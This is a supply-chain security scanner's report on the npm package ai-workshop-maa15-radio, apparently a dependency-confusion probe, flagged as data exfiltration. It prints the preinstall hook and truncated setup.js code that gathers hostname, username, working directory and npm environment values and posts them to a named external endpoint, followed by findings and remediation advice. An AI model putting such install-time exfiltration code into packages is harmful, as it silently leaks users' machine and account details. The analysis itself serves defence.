registry / Data exfiltration / ai-workshop-maa15-radio

ai-workshop-maa15-radio

Reverse words in a string

This report shows the evidence for ai-workshop-maa15-radio@100.0.0, the only known version.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 23d ago · by lpm-firewall-ai

The source establishes automatic, unconsented transmission of local identifying information to an unrelated endpoint during installation. This is concrete data exfiltration rather than an inactive payload or ordinary authentication.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation with lifecycle scripts enabled.

Impact

Discloses the user's identity, hostname, working directory, and environment metadata to a remote recipient.

Mechanism

The preinstall hook executes setup.js, which serializes system information and sends it through an HTTPS POST while suppressing failures.

Attack narrative

Installing the package activates a preinstall script that gathers user and machine identifiers and environment metadata. It posts that information to a fixed API Gateway endpoint without a consent gate and silently ignores network errors. The package's exported functionality only reverses words, so this automatic disclosure has no apparent connection to its functionality.

AI rationale

Evidence

package.jsonsetup.jsindex.js

Network endpoints1

s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json automatically runs setup.js before installation and ignores failures.
setup.js collects the hostname, username, working directory, platform, architecture, Node version, and registry configuration.
setup.js sends the collected information by HTTPS POST to an unrelated API Gateway endpoint.
setup.js suppresses request errors and transmits the collected payload without a consent gate.
index.js only reverses words, providing no functional reason for installation-time system reporting.

Evidence against

No credential-file harvesting, remote code execution, or persistence was found.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 759 B of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node setup.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node setup.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

setup.jsView file

1const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: '[redacted]' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

setup.jsView on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> setup.js L1: const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: '[redacted]' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

setup.jsView on unpkg · L1

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

setup.jsView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

setup.jsView on unpkg · L1

1Trigger-reachable credential exfiltration chain: scripts.preinstall -> setup.js L1: const https = require('https'); L2: const os = require('os'); L3: const pkg = require('./package.json'); L4: const d = JSON.stringify({ L5: p: pkg.name, v: pkg.version, L6: h: os.hostname(), u: os.userInfo().username, L7: c: process.cwd(), o: os.platform(), a: os.arch(), L8: n: process.version, L9: r: process.env.npm[redacted] || '', L10: t: '[redacted]' ... L19: q.on('timeout', () => q.destroy()); L20: q.write(d);

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

setup.jsView on unpkg · L1

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node setup.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node setup.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

setup.jsView file

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

Findings

2 Critical4 High4 Medium2 Low

CriticalCredential Exfiltrationsetup.js

CriticalTrigger Reachable Dangerous Capabilitysetup.js

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationsetup.js

HighSandbox Evasion Gated Capabilitysetup.js

HighTrigger Reachable Credential Exfiltrationsetup.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

Affected versions and remediation

This report applies to ai-workshop-maa15-radio@100.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing ai-workshop-maa15-radio@100.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-04 23:45:17.945Z (UTC).

Source advisory published: 2026-09-30 07:11:21.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

100.0.0latestshownMaliciousData ExfiltrationBlockPublishedSep 30, 2026, 7:04 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Related packages

Other data exfiltration packages

Source & flagged code